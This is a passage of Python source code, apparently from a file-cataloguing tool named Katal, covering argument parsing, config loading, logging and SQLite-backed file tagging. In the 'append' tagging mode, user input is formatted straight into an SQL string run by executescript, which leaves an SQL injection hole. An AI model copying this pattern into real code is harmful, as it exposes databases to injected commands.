\".format(CFG_PARAMETERS[\"target\"][\"mode\"],\n ARGS.targetpath))\n\n if answer in (\"y\", \"yes\"):\n action__add()\n show_infos_about_target_path()\n\n if ARGS.add:\n read_target_db()\n read_filters()\n action__select()\n action__add()\n show_infos_about_target_path()\n\n if ARGS.new:\n action__new(ARGS.new)\n\n if ARGS.rebase:\n action__rebase(ARGS.rebase)\n\n if ARGS.findtag:\n action__findtag(ARGS.findtag)\n\n if ARGS.downloaddefaultcfg is not None:\n action__downloadefaultcfg(targetname=CST__DEFAULT_CONFIGFILE_NAME,\n location=ARGS.downloaddefaultcfg)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef main_actions_tags():\n \"\"\"\n main_actions_tags()\n ________________________________________________________________________\n\n Call the different actions required by the arguments of the command line.\n Function dedicated to the operations on tags.\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n \"\"\"\n if ARGS.rmnotags:\n action__rmnotags()\n\n if ARGS.settagsstr:\n action__settagsstr(ARGS.settagsstr, ARGS.to)\n\n if ARGS.addtag:\n action__addtag(ARGS.addtag, ARGS.to)\n\n if ARGS.rmtags:\n action__rmtags(ARGS.to)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef main_warmup(timestamp_start):\n \"\"\"\n main_warmup()\n ________________________________________________________________________\n\n Initializations :\n\n if the --new/--downloaddefaultcfg options have not be used :\n\n o configfile_name = None / a string\n o reading of the configuration file\n o list of the expected directories : if one directory is missing, let's create it.\n create_subdirs_in_target_path()\n o welcome_in_logfile()\n o warning if source path == target path\n o --infos\n o -si / --sourceinfos\n o -ti / --targetinfos\n ________________________________________________________________________\n\n PARAMETER :\n o timestamp_start : a datetime.datetime object\n\n no RETURNED VALUE\n\n o sys.exit(-1) is called if the expected config file is ill-formed or missing.\n \"\"\"\n global CFG_PARAMETERS, LOGFILE\n\n #...........................................................................\n # a special case : if the options --new//--downloaddefaultcfg have been used, let's quit :\n if ARGS.new is not None or ARGS.downloaddefaultcfg is not None:\n return\n\n #...........................................................................\n # let's find a config file to be read :\n configfile_name, configfile_name__err = where_is_the_configfile()\n\n if configfile_name__err < 0:\n # ill-formed config file :\n sys.exit(-1)\n\n if configfile_name__err > 0:\n # see the code's error of the where_is_the_configfile() function.\n return\n\n #...........................................................................\n # let's read the config file :\n CFG_PARAMETERS = read_parameters_from_cfgfile(configfile_name)\n if CFG_PARAMETERS is None:\n # ill-formed config file :\n sys.exit(-1)\n else:\n msg(\" ... config file found and read (ok)\")\n\n if CFG_PARAMETERS[\"target\"][\"mode\"] == 'move':\n msg(\" = mode=move =\",\n consolecolor=\"cyan\")\n msg(\" = the files will be moved (NOT copied) in the target directory =\",\n consolecolor=\"cyan\")\n\n if CFG_PARAMETERS[\"target\"][\"mode\"] == 'nocopy':\n msg(\" = mode=nocopy =\",\n consolecolor=\"cyan\")\n msg(\" = the files will NOT be copied or moved in the target directory =\",\n consolecolor=\"cyan\")\n\n source_path = CFG_PARAMETERS[\"source\"][\"path\"]\n\n #...........................................................................\n # list of the expected directories : if one directory is missing, let's create it.\n create_subdirs_in_target_path()\n\n #...........................................................................\n if USE_LOGFILE:\n LOGFILE = logfile_opening()\n welcome_in_logfile(timestamp_start)\n\n #...........................................................................\n if ARGS.targetpath == source_path:\n msg(\" ! warning : \"\n \"source path and target path have the same value, \"\n \"namely \\\"{0}\\\" (path: \\\"{1}\\\")\".format(ARGS.targetpath, normpath(ARGS.targetpath)),\n consolecolor=\"red\")\n\n #...........................................................................\n # we show the following informations :\n for path, info in ((configfile_name, \"config file\"),\n (os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR, CST__TRASH_SUBSUBDIR), \"trash subdir\"),\n (os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR, CST__TASKS_SUBSUBDIR), \"tasks subdir\"),\n (os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR, CST__LOG_SUBSUBDIR), \"log subdir\"),):\n msg(\" = let's use \\\"{0}\\\" as {1}\".format(path, info))\n\n msg(\" = source directory : \\\"{0}\\\" (path : \\\"{1}\\\")\".format(source_path,\n normpath(source_path)))\n\n #...........................................................................\n if ARGS.infos:\n action__infos()\n\n #...........................................................................\n if ARGS.sourceinfos:\n show_infos_about_source_path()\n\n #...........................................................................\n if ARGS.targetinfos:\n show_infos_about_target_path()\n\n#///////////////////////////////////////////////////////////////////////////////\ndef modify_the_tag_of_some_files(tag, dest, mode):\n \"\"\"\n modify_the_tag_of_some_files()\n ________________________________________________________________________\n\n Modify the tag(s) of some files.\n ________________________________________________________________________\n\n PARAMETERS\n o tag : (str) new tag(s)\n o dest : (str) a string (wildcards accepted) describing\n what files are concerned\n o mode : (str) \"append\" to add \"tag\" to the other tags\n \"set\" to replace old tag(s) by a new one\n \"\"\"\n if not os.path.exists(normpath(get_database_fullname())):\n msg(\" ! no database found.\",\n consolecolor=\"red\")\n else:\n db_connection = sqlite3.connect(get_database_fullname())\n db_connection.row_factory = sqlite3.Row\n db_cursor = db_connection.cursor()\n\n files_to_be_modified = [] # a list of (hashids, name)\n for db_record in db_cursor.execute('SELECT * FROM dbfiles'):\n if fnmatch.fnmatch(db_record[\"name\"], dest):\n files_to_be_modified.append((db_record[\"hashid\"], db_record[\"name\"]))\n\n if len(files_to_be_modified) == 0:\n msg(\" * no files match the given name(s) given as a parameter.\")\n else:\n # let's apply the tag(s) to the :\n for hashid, filename in files_to_be_modified:\n\n msg(\" o applying the tag string \\\"{0}\\\" to {1}.\".format(tag, filename))\n\n if ARGS.off:\n pass\n\n elif mode == \"set\":\n sqlorder = 'UPDATE dbfiles SET tagsstr=? WHERE hashid=?'\n db_connection.execute(sqlorder, (tag, hashid))\n\n elif mode == \"append\":\n sqlorder = ('UPDATE dbfiles SET tagsstr = tagsstr || \\\"{0}{1}\\\" '\n 'WHERE hashid=\\\"{2}\\\"').format(CST__TAG_SEPARATOR, tag, hashid)\n db_connection.executescript(sqlorder)\n\n else:\n raise KatalError(\"mode argument \\\"{0}\\\" isn't known\".format(mode))\n\n db_connection.commit()\n\n db_connection.close()\n\n#///////////////////////////////////////////////////////////////////////////////\ndef msg(_msg, for_console=True, for_logfile=True, consolecolor=None):\n \"\"\"\n msg()\n ________________________________________________________________________\n\n Display a message on console, write the same message in the log file.\n The message isn't displayed on console if ARGS.verbosity has been set to\n 'none' (see the --verbosity argument) .\n ________________________________________________________________________\n\n PARAMETERS\n o _msg : (str) the message to be written\n o for_console : (bool) authorization to write on console\n o for_logfile : (bool) authorization to write in the log file\n o consolecolor : (None/str) see CST__LINUXCONSOLECOLORS\n The color will be displayed on console, not\n in the log file.\n\n no RETURNED VALUE\n \"\"\"\n global LOGFILE, LOGFILE_SIZE\n\n final_msg = _msg + \"\\n\"\n\n # first to the console : otherwise, if an error occurs by writing to the log\n # file, it would'nt possible to read the message.\n if ARGS.verbosity != 'none' and for_console:\n if consolecolor is None or CST__PLATFORM == 'Windows':\n sys.stdout.write(_msg+\"\\n\")\n else:\n sys.stdout.write(CST__LINUXCONSOLECOLORS[consolecolor])\n sys.stdout.write(_msg+\"\\n\")\n sys.stdout.write(CST__LINUXCONSOLECOLORS[\"default\"])\n\n # secondly, to the logfile :\n if USE_LOGFILE and for_logfile and LOGFILE is not None:\n if LOGFILE_SIZE + len(final_msg) > int(CFG_PARAMETERS[\"log file\"][\"maximal size\"]):\n # let's force writing on disk...\n LOGFILE.flush()\n os.fsync(LOGFILE)\n # ... before closing :\n LOGFILE.close()\n # let's backup the current log file :\n backup_logfile(get_logfile_fullname())\n # let's remove the current log file's content :\n os.remove(get_logfile_fullname())\n # let's open a new log file :\n LOGFILE = logfile_opening()\n\n LOGFILE.write(final_msg)\n LOGFILE_SIZE += len(final_msg)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef normpath(path):\n \"\"\"\n normpath()\n ________________________________________________________________________\n\n Return a human-readable (e.g. \"~\" -> \"/home/myhome/\" on Linux systems),\n normalized version of a path.\n\n The returned string may be used as a parameter given to by\n os.path.exists() .\n\n about the \"\\\\\\\\?\\\\\" prefix, see e.g. this thread on StackOverflow :\n http://stackjava-script.com/questions/1365797/\n the prefix allows Windows to deal with path whose length is greater than\n 260 characters.\n ________________________________________________________________________\n\n PARAMETER : (str)path\n\n RETURNED VALUE : the expected string\n \"\"\"\n res = os.path.normpath(os.path.abspath(os.path.expanduser(path)))\n\n if ARGS.usentfsprefix:\n res = res.replace(\"\\\\\\\\?\\\\\", \"\")\n\n if res == \".\":\n res = os.getcwd()\n\n if ARGS.usentfsprefix:\n res = \"\\\\\\\\?\\\\\"+res\n\n return res\n\n#///////////////////////////////////////////////////////////////////////////////\ndef read_command_line_arguments():\n \"\"\"\n read_command_line_arguments()\n ________________________________________________________________________\n\n Read the command line arguments.\n ________________________________________________________________________\n\n no PARAMETER\n\n RETURNED VALUE\n return the argparse object.\n \"\"\"\n parser = \\\n argparse.ArgumentParser(description=\"{0} v. {1}\".format(__projectname__, __version__),\n epilog=\"{0} v. {1} ({2}), \"\n \"a project by {3} \"\n \"({4})\".format(__projectname__,\n __version__,\n __license__,\n __author__,\n __email__),\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('--add',\n action=\"store_true\",\n help=\"# Select files according to what is described \"\n \"in the configuration file \"\n \"then add them to the target directory. \"\n \"This option can't be used with the --select one.\"\n \"If you want more informations about the process, please \"\n \"use this option in combination with --infos .\")\n\n parser.add_argument('--addtag',\n type=str,\n help=\"# Add a tag to some file(s) in combination \"\n \"with the --to option. \")\n\n parser.add_argument('-cfg', '--configfile',\n type=str,\n help=\"# Set the name of the config file, e.g. config.ini\")\n\n parser.add_argument('--cleandbrm',\n action=\"store_true\",\n help=\"# Remove from the database the missing files in the target path.\")\n\n parser.add_argument('--copyto',\n type=str,\n help=\"# To be used with the --findtag parameter. Copy the found files \"\n \"into an export directory.\")\n\n parser.add_argument('-dlcfg', '--downloaddefaultcfg',\n choices=(\"local\", \"home\",),\n help=\"# Download the default config file and overwrite the file having \"\n \"the same name. This is done before the script reads the parameters \"\n \"in the config file. Use 'local' to download in the current \"\n \"directory, 'home' to download in the user's HOME directory.\")\n\n parser.add_argument('--findtag',\n type=str,\n help=\"# Find the files in the target directory with the given tag. \"\n \"The tag is a simple string, not a regex.\")\n\n parser.add_argument('--infos',\n action=\"store_true\",\n help=\"# Display informations about the source directory \"\n \"given in the configuration file. Help the --select/--add \"\n \"options to display more informations about the process : in \"\n \"this case, the --infos will be executed before --select/--add\")\n\n parser.add_argument('-n', '--new',\n type=str,\n help=\"# Create a new target directory\")\n\n parser.add_argument('--off',\n action=\"store_true\",\n help=\"# Don't write anything into the target directory or into \"\n \"the database, except into the current log file. \"\n \"Use this option to simulate an operation : you get the messages \"\n \"but no file is modified on disk, no directory is created.\")\n\n parser.add_argument('--rebase',\n type=str,\n help=\"# Copy the current target directory into a new one : you \"\n \"rename the files in the target directory and in the database. \"\n \"First, use the --new option to create a new target directory, \"\n \"modify the .ini file of the new target directory \"\n \"(modify [target]name of the target files), \"\n \"then use --rebase with the name of the new target directory\")\n\n parser.add_argument('--reset',\n action=\"store_true\",\n help=\"# Delete the database and the files in the target directory\")\n\n parser.add_argument('--rmnotags',\n action=\"store_true\",\n help=\"# Remove all files without a tag\")\n\n parser.add_argument('--rmtags',\n action=\"store_true\",\n help=\"# Remove all the tags of some file(s) in combination \"\n \"with the --to option. \")\n\n parser.add_argument('-s', '--select',\n action=\"store_true\",\n help=\"# Select files according to what is described \"\n \"in the configuration file \"\n \"without adding them to the target directory. \"\n \"This option can't be used with the --add one.\"\n \"If you want more informations about the process, please \"\n \"use this option in combination with --infos .\")\n\n parser.add_argument('--settagsstr',\n type=str,\n help=\"# Give the tag to some file(s) in combination \"\n \"with the --to option. \"\n \"Overwrite the ancient tag string. \"\n \"If you want to empty the tags' string, please use a space, \"\n \"not an empty string : otherwise the parameter given \"\n \"to the script wouldn't be taken in account by the shell\")\n\n parser.add_argument('-si', '--sourceinfos',\n action=\"store_true\",\n help=\"# Display informations about the source directory\")\n\n parser.add_argument('--strictcmp',\n action=\"store_true\",\n help=\"# To be used with --add or --select. Force a bit-to-bit comparision\"\n \"between files whose hashid-s is equal.\")\n\n parser.add_argument('--targetpath',\n type=str,\n default=\".\",\n help=\"# Target path, usually '.' . If you set path to . (=dot character)\"\n \", it means that the source path is the current directory\"\n \" (=the directory where the script katal.py has been launched)\")\n\n parser.add_argument('-ti', '--targetinfos',\n action=\"store_true\",\n help=\"# Display informations about the target directory\")\n\n parser.add_argument('-tk', '--targetkill',\n type=str,\n help=\"# Kill (=move to the trash directory) one file from \"\n \"the target directory.\"\n \"DO NOT GIVE A PATH, just the file's name, \"\n \"without the path to the target directory\")\n\n parser.add_argument('--to',\n type=str,\n help=\"# Give the name of the file(s) concerned by --settagsstr. \"\n \"wildcards accepted; e.g. to select all .py files, use '*.py' . \"\n \"Please DON'T ADD the path to the target directory, only the filenames\")\n\n parser.add_argument('--usentfsprefix',\n action=\"store_true\",\n help=\"# Force the script to prefix filenames by a special string \"\n \"required by the NTFS for long filenames, namely \\\\\\\\?\\\\\")\n\n parser.add_argument('--verbosity',\n choices=(\"none\", \"normal\", \"high\"),\n default='normal',\n help=\"# Console verbosity : \"\n \"'none'=no output to the console, no question asked on the console; \"\n \"'normal'=messages to the console \"\n \"and questions asked on the console; \"\n \"'high'=display discarded files. A question may be asked only by \"\n \"using the following arguments : \"\n \"--new, --rebase, --reset and --select\")\n\n parser.add_argument('--version',\n action='version',\n version=\"{0} v. {1}\".format(__projectname__, __version__),\n help=\"# Show the version and exit\")\n\n parser.add_argument('--whatabout',\n type=str,\n help=\"# Say if the file[the files in a directory] already in the \"\n \"given as a parameter is in the target directory \"\n \"notwithstanding its name.\")\n\n return parser.parse_args()\n\n#///////////////////////////////////////////////////////////////////////////////\ndef possible_paths_to_cfg():\n \"\"\"\n possible_paths_to_cfg()\n ________________________________________________________________________\n\n return a list of the (str)paths to the config file, without the name\n of the file.\n\n The first element of the list is the local directory + \".katal\",\n the last element of the list is ~ + .katal .\n ________________________________________________________________________\n\n NO PARAMETER.\n\n RETURNED VALUE : the expected list of strings.\n \"\"\"\n res = []\n\n res.append(os.path.os.path.join(normpath(\".\"),\n normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR))\n\n if CST__PLATFORM == 'Windows':\n res.append(os.path.join(os.path.expanduser(\"~\"),\n \"Local Settings\",\n \"Application Data\",\n \"katal\"))\n\n res.append(os.path.join(os.path.expanduser(\"~\"),\n \".katal\"))\n\n return res\n\n#///////////////////////////////////////////////////////////////////////////////\ndef read_parameters_from_cfgfile(configfile_name):\n \"\"\"\n read_parameters_from_cfgfile()\n ________________________________________________________________________\n\n Read the configfile and return the parser or None if an error occured.\n\n If the mode is set to 'nocopy', parser[\"target\"][\"name of the target files\"]\n is set to \"%i\" .\n ________________________________________________________________________\n\n PARAMETER\n o configfile_name : (str) config file name (e.g. katal.ini)\n\n RETURNED VALUE\n None if an error occured while reading the configuration file\n or the expected configparser.ConfigParser object=.\n \"\"\"\n global USE_LOGFILE\n\n parser = configparser.ConfigParser()\n\n try:\n parser.read(configfile_name)\n USE_LOGFILE = parser[\"log file\"][\"use log file\"] == \"True\"\n # just to check the existence of the following values in the configuration file :\n _ = parser[\"log file\"][\"maximal size\"]\n _ = parser[\"log file\"][\"name\"]\n _ = parser[\"target\"][\"name of the target files\"]\n _ = parser[\"target\"][\"mode\"]\n _ = parser[\"source\"][\"eval\"]\n _ = parser[\"display\"][\"target filename.max length on console\"]\n _ = parser[\"display\"][\"hashid.max length on console\"]\n _ = parser[\"display\"][\"tag.max length on console\"]\n _ = parser[\"display\"][\"source filename.max length on console\"]\n _ = parser[\"source\"][\"path\"]\n except KeyError as exception:\n msg(\" ! An error occured while reading \"\n \"the config file \\\"{0}\\\".\".format(configfile_name),\n consolecolor=\"red\")\n msg(\" ! Your configuration file lacks a specific value : \\\"{0}\\\".\".format(exception),\n consolecolor=\"red\")\n msg(\" ... you should download a new default config file : \"\n \"see -dlcfg/--downloaddefaultcfg option\",\n consolecolor=\"red\")\n return None\n except BaseException as exception:\n msg(\" ! An error occured while reading \"\n \"the config file \\\"{0}\\\".\".format(configfile_name),\n consolecolor=\"red\")\n msg(\" ! Python message : \\\"{0}\\\"\".format(exception),\n consolecolor=\"red\")\n return None\n\n if parser[\"target\"][\"mode\"] == 'nocopy':\n # configparser.ConfigParser objects have to be initialized with strings\n # exactly equal to the strings read in an .ini file : so instead of the\n # natural \"%i\" we have to write \"%%i\" :\n parser[\"target\"][\"name of the target files\"] = \"%%i\"\n\n msg(\" * since 'mode'=='nocopy', the value of \\\"[target]name of the target files\\\" \",\n consolecolor=\"cyan\")\n msg(\" is neutralized and set to '%i' (i.e. the database index : '1', '2', ...)\",\n consolecolor=\"cyan\")\n\n return parser\n\n#///////////////////////////////////////////////////////////////////////////////\ndef read_filters():\n \"\"\"\n read_filters()\n ________________________________________________________________________\n\n Initialize FILTERS from the configuration file.\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n \"\"\"\n FILTERS.clear()\n\n stop = False\n filter_index = 1\n\n while not stop:\n if not CFG_PARAMETERS.has_section(\"source.filter\"+str(filter_index)):\n stop = True\n else:\n FILTERS[filter_index] = dict()\n\n if CFG_PARAMETERS.has_option(\"source.filter\"+str(filter_index), \"name\"):\n FILTERS[filter_index][\"name\"] = \\\n re.compile(CFG_PARAMETERS[\"source.filter\"+str(filter_index)][\"name\"])\n\n if CFG_PARAMETERS.has_option(\"source.filter\"+str(filter_index), \"iname\"):\n FILTERS[filter_index][\"name\"] = \\\n re.compile(CFG_PARAMETERS[\"source.filter\"+str(filter_index)][\"iname\"],\n re.IGNORECASE)\n\n if CFG_PARAMETERS.has_option(\"source.filter\"+str(filter_index), \"size\"):\n FILTERS[filter_index][\"size\"] = \\\n CFG_PARAMETERS[\"source.filter\"+str(filter_index)][\"size\"]\n\n if CFG_PARAMETERS.has_option(\"source.filter\"+str(filter_index), \"date\"):\n FILTERS[filter_index][\"date\"] = \\\n CFG_PARAMETERS[\"source.filter\"+str(filter_index)][\"date\"]\n\n filter_index += 1\n\n#///////////////////////////////////////////////////////////////////////////////\ndef read_target_db():\n \"\"\"\n read_target_db()\n ________________________________________________________________________\n\n Read the database stored in the target directory and initialize\n TARGET_DB.\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n \"\"\"\n if not os.path.exists(normpath(get_database_fullname())):\n create_empty_db(normpath(get_database_fullname()))\n\n db_connection = sqlite3.connect(get_database_fullname())\n db_connection.row_factory = sqlite3.Row\n db_cursor = db_connection.cursor()\n\n for db_record in db_cursor.execute('SELECT * FROM dbfiles'):\n TARGET_DB[db_record[\"hashid\"]] = (db_record[\"partialhashid\"],\n db_record[\"size\"],\n db_record[\"sourcename\"])\n\n db_connection.close()\n\n#/////////////////////////////////////////////////////////////////////////////////////////\ndef remove_illegal_characters(src):\n \"\"\"\n remove_illegal_characters()\n ________________________________________________________________________\n\n Replace some illegal characters by the underscore character. Use this function\n to create files on various plateforms.\n ________________________________________________________________________\n\n PARAMETER\n o src : (str) the source string\n\n RETURNED VALUE\n the expected string, i.e. without illegal characters.\n \"\"\"\n res = src\n for char in (\"*\", \"/\", \"\\\\\", \".\", \"[\", \"]\", \":\", \";\", \"|\", \"=\", \",\", \"?\", \"<\", \">\", \"-\", \" \"):\n res = res.replace(char, \"_\")\n return res\n\n#///////////////////////////////////////////////////////////////////////////////\ndef shortstr(string, max_length):\n \"\"\"\n shortstr()\n ________________________________________________________________________\n\n The function returns a shortened version of a string.\n ________________________________________________________________________\n\n PARAMETER\n o string : (src) the source string\n o max_length : (int) the maximal length of the string\n\n RETURNED VALUE\n the expected string\n \"\"\"\n if len(string) > max_length:\n return \"[...]\"+string[-(max_length-5):]\n return string\n\n#///////////////////////////////////////////////////////////////////////////////\ndef show_infos_about_source_path():\n \"\"\"\n show_infos_about_source_path()\n ________________________________________________________________________\n\n Display informations about the source directory.\n\t\tInitialize INFOS_ABOUT_SRC_PATH.\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n \"\"\"\n global INFOS_ABOUT_SRC_PATH\n\n source_path = CFG_PARAMETERS[\"source\"][\"path\"]\n\n msg(\" = informations about the \\\"{0}\\\" \"\n \"(path: \\\"{1}\\\") source directory =\".format(source_path,\n normpath(source_path)))\n\n if not os.path.exists(normpath(source_path)):\n msg(\" ! can't find source path \\\"{0}\\\" .\".format(source_path),\n consolecolor=\"red\")\n return\n if not os.path.isdir(normpath(source_path)):\n msg(\" ! source path \\\"{0}\\\" isn't a directory .\".format(source_path),\n consolecolor=\"red\")\n return\n\n if is_ntfs_prefix_mandatory(source_path):\n msg(\" ! the source path should be used with the NTFS prefix for long filenames.\",\n consolecolor=\"red\")\n\n if not ARGS.usentfsprefix:\n msg(\" ! ... but the --usentfsprefix argument wasn't given !\",\n consolecolor=\"red\")\n msg(\" ! You may encounter an IOError, or a FileNotFound error.\",\n consolecolor=\"red\")\n msg(\" ! If so, please use the --usentfsprefix argument.\",\n consolecolor=\"red\")\n msg(\"\")\n\n total_size = 0\n files_number = 0\n files_number_interval = 0 # used to display the intermediate number, see below.\n extensions = dict() # (str)extension : [number of files, total size]\n for dirpath, _, fnames in os.walk(normpath(source_path)):\n for filename in fnames:\n fullname = os.path.join(normpath(dirpath), filename)\n\n # ..................................................................\n # protection against the FileNotFoundError exception.\n # This exception would be raised on broken symbolic link on the\n # \"size = os.stat(normpath(fullname)).st_size\" line (see below).\n # ..................................................................\n if os.path.exists(fullname):\n size = os.stat(normpath(fullname)).st_size\n extension = os.path.splitext(normpath(filename))[1]\n\n if extension in extensions:\n extensions[extension][0] += 1\n extensions[extension][1] += size\n else:\n extensions[extension] = [1, size]\n\n total_size += size\n files_number += 1\n\n files_number_interval += 1\n if files_number_interval == 100000:\n msg(\" ... already {0} files read in the source directory, \"\n \"still processing...\".format(files_number_interval))\n files_number_interval = 0\n else:\n msg(\" ! browsing {0}, an error occured : \"\n \"can't read the file \".format(source_path),\n consolecolor='red')\n msg(\" \\\"{0}\\\"\".format(fullname),\n consolecolor='red')\n\n msg(\" o files number : {0} file(s)\".format(files_number))\n msg(\" o total size : {0}\".format(size_as_str(total_size)))\n msg(\" o list of all extensions ({0} extension(s) found): \".format(len(extensions)))\n for extension in sorted(extensions, key=lambda s: s.lower()):\n msg(\" - {0:15} : {1} files, {2}\".format(extension,\n extensions[extension][0],\n size_as_str(extensions[extension][1])))\n\n INFOS_ABOUT_SRC_PATH = (total_size, files_number, extensions)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef show_infos_about_target_path():\n \"\"\"\n show_infos_about_target_path()\n ________________________________________________________________________\n\n Display informations about the the target directory\n ________________________________________________________________________\n\n no PARAMETER\n\n RETURNED VALUE\n (int) 0 if ok, -1 if an error occured\n \"\"\"\n #...........................................................................\n msg(\" = informations about the \\\"{0}\\\" \"\n \"(path: \\\"{1}\\\") target directory =\".format(ARGS.targetpath,\n normpath(ARGS.targetpath)))\n\n #...........................................................................\n if is_ntfs_prefix_mandatory(ARGS.targetpath):\n msg(\" ! the target path should be used with the NTFS prefix for long filenames.\",\n consolecolor=\"red\")\n\n if not ARGS.usentfsprefix:\n msg(\" ! ... but the --usentfsprefix argument wasn't given !\",\n consolecolor=\"red\")\n msg(\" ! You may encounter an IOError, or a FileNotFound error.\",\n consolecolor=\"red\")\n msg(\" ! If so, please use the --usentfsprefix argument.\",\n consolecolor=\"red\")\n msg(\"\")\n\n #...........................................................................\n if not os.path.exists(normpath(ARGS.targetpath)):\n msg(\"Can't find target path \\\"{0}\\\".\".format(ARGS.targetpath))\n return -1\n\n if not os.path.isdir(normpath(ARGS.targetpath)):\n msg(\"target path \\\"{0}\\\" isn't a directory.\".format(ARGS.targetpath))\n return -1\n\n if not os.path.exists(os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR, CST__DATABASE_NAME)):\n msg(\" o no database in the target directory.\")\n return 0\n\n #...........................................................................\n db_connection = sqlite3.connect(get_database_fullname())\n db_connection.row_factory = sqlite3.Row\n db_cursor = db_connection.cursor()\n\n # there's no easy way to know the size of a table in a database,\n # so we can't display the \"empty database\" warning before the following\n # code which reads the table.\n rows_data = []\n row_index = 0\n for db_record in db_cursor.execute('SELECT * FROM dbfiles'):\n sourcedate = \\\n datetime.utcfromtimestamp(db_record[\"sourcedate\"]).strftime(CST__DTIME_FORMAT)\n\n if CFG_PARAMETERS[\"target\"][\"mode\"] != 'nocopy':\n rows_data.append((db_record[\"hashid\"],\n db_record[\"name\"],\n tagsstr_repr(db_record[\"tagsstr\"]),\n db_record[\"sourcename\"],\n sourcedate))\n else:\n rows_data.append((db_record[\"hashid\"],\n tagsstr_repr(db_record[\"tagsstr\"]),\n db_record[\"sourcename\"],\n sourcedate))\n row_index += 1\n\n if row_index == 0:\n msg(\" ! (empty database)\",\n consolecolor=\"red\")\n return 0\n\n msg(\" o {0} file(s) in the database :\".format(row_index))\n\n targetname_maxlength = \\\n int(CFG_PARAMETERS[\"display\"][\"target filename.max length on console\"])\n hashid_maxlength = \\\n int(CFG_PARAMETERS[\"display\"][\"hashid.max length on console\"])\n tagsstr_maxlength = \\\n int(CFG_PARAMETERS[\"display\"][\"tag.max length on console\"])\n sourcename_maxlength = \\\n int(CFG_PARAMETERS[\"display\"][\"source filename.max length on console\"])\n\n # beware : characters like \"║\" are forbidden (think to the cp1252 encoding\n # required by Windows terminal)\n if CFG_PARAMETERS[\"target\"][\"mode\"] != 'nocopy':\n draw_table(rows=((\"hashid/base64\", hashid_maxlength, \"|\"),\n (\"name\", targetname_maxlength, \"|\"),\n (\"tags\", tagsstr_maxlength, \"|\"),\n (\"source name\", sourcename_maxlength, \"|\"),\n (\"source date\", CST__DTIME_FORMAT_LENGTH, \"|\")),\n data=rows_data)\n else:\n draw_table(rows=((\"hashid/base64\", hashid_maxlength, \"|\"),\n (\"tags\", tagsstr_maxlength, \"|\"),\n (\"source name\", sourcename_maxlength, \"|\"),\n (\"source date\", CST__DTIME_FORMAT_LENGTH, \"|\")),\n data=rows_data)\n\n db_connection.close()\n\n return 0\n\n#///////////////////////////////////////////////////////////////////////////////\ndef size_as_str(_size):\n \"\"\"\n size_as_str()\n ________________________________________________________________________\n\n Return a size in bytes as a human-readable string.\n ________________________________________________________________________\n\n PARAMETER\n o _size : (int) size in bytes\n\n About the underscore before \"_size\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n About the multiples of bytes, see e.g. https://en.wikipedia.org/wiki/Megabyte .\n\n RETURNED VALUE\n a str(ing)\n \"\"\"\n if _size == 0:\n res = \"0 byte\"\n elif _size < 1e3:\n res = \"{0} bytes\".format(_size)\n elif _size < 9e3:\n res = \"{0} kB ({1} bytes)\".format(_size/1e3, _size)\n elif _size < 9e6:\n res = \"~{0:.2f} MB ({1} bytes)\".format(_size/1e6, _size)\n elif _size < 9e9:\n res = \"~{0:.2f} GB ({1} bytes)\".format(_size/1e9, _size)\n elif _size < 9e12:\n res = \"~{0:.2f} TB ({1} bytes)\".format(_size/1e12, _size)\n elif _size < 9e15:\n res = \"~{0:.2f} PB ({1} bytes)\".format(_size/1e15, _size)\n elif _size < 9e18:\n res = \"~{0:.2f} EB ({1} bytes)\".format(_size/1e18, _size)\n else:\n res = \"~{0:.2f} ZB ({1} bytes)\".format(_size/1e21, _size)\n\n return res\n\n#//////////////////////////////////////////////////////////////////////////////\ndef tagsstr_repr(tagsstr):\n \"\"\"\n tagsstr_repr()\n ________________________________________________________________________\n\n Improve the way a tags' string can be displayed.\n ________________________________________________________________________\n\n PARAMETER\n tagsstr : the raw tags' string\n\n RETURNED VALUE\n the expected (str)string\n \"\"\"\n if tagsstr.startswith(CST__TAG_SEPARATOR):\n # let's remove the first tag separator :\n return tagsstr[1:]\n else:\n return tagsstr\n\n#///////////////////////////////////////////////////////////////////////////////\ndef thefilehastobeadded__db(filename, _size):\n \"\"\"\n thefilehastobeadded__db()\n ________________________________________________________________________\n\n Return True if the file isn't already known in the database.\n ________________________________________________________________________\n\n PARAMETERS\n o filename : (str) file's name\n o _size : (int) file's size, in bytes.\n\n About the underscore before \"_size\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n RETURNED VALUE\n either (False, None, None)\n either (True, partial hashid, hashid)\n \"\"\"\n # a list of hashid(s) :\n res = []\n\n # (1) how many file(s) in the database have a size equal to _size ?\n for hashid in TARGET_DB:\n _, target_size, _ = TARGET_DB[hashid]\n if target_size == _size:\n res.append(hashid)\n\n if len(res) == 0:\n return (True,\n hashfile64(filename=filename,\n stop_after=CST__PARTIALHASHID_BYTESNBR),\n hashfile64(filename=filename))\n\n # (2) how many file(s) among those in have a partial hashid equal\n # to the partial hashid of filename ?\n new_res = []\n src_partialhashid = hashfile64(filename=filename,\n stop_after=CST__PARTIALHASHID_BYTESNBR)\n for hashid in res:\n target_partialhashid, _, _ = TARGET_DB[hashid]\n if target_partialhashid == src_partialhashid:\n new_res.append(hashid)\n\n res = new_res\n if len(res) == 0:\n return (True,\n src_partialhashid,\n hashfile64(filename=filename))\n\n # (3) how many file(s) among those in have an hashid equal to the\n # hashid of filename ?\n new_res = []\n src_hashid = hashfile64(filename=filename)\n for hashid in res:\n target_hashid, _, _ = TARGET_DB[hashid]\n if target_hashid == src_hashid:\n 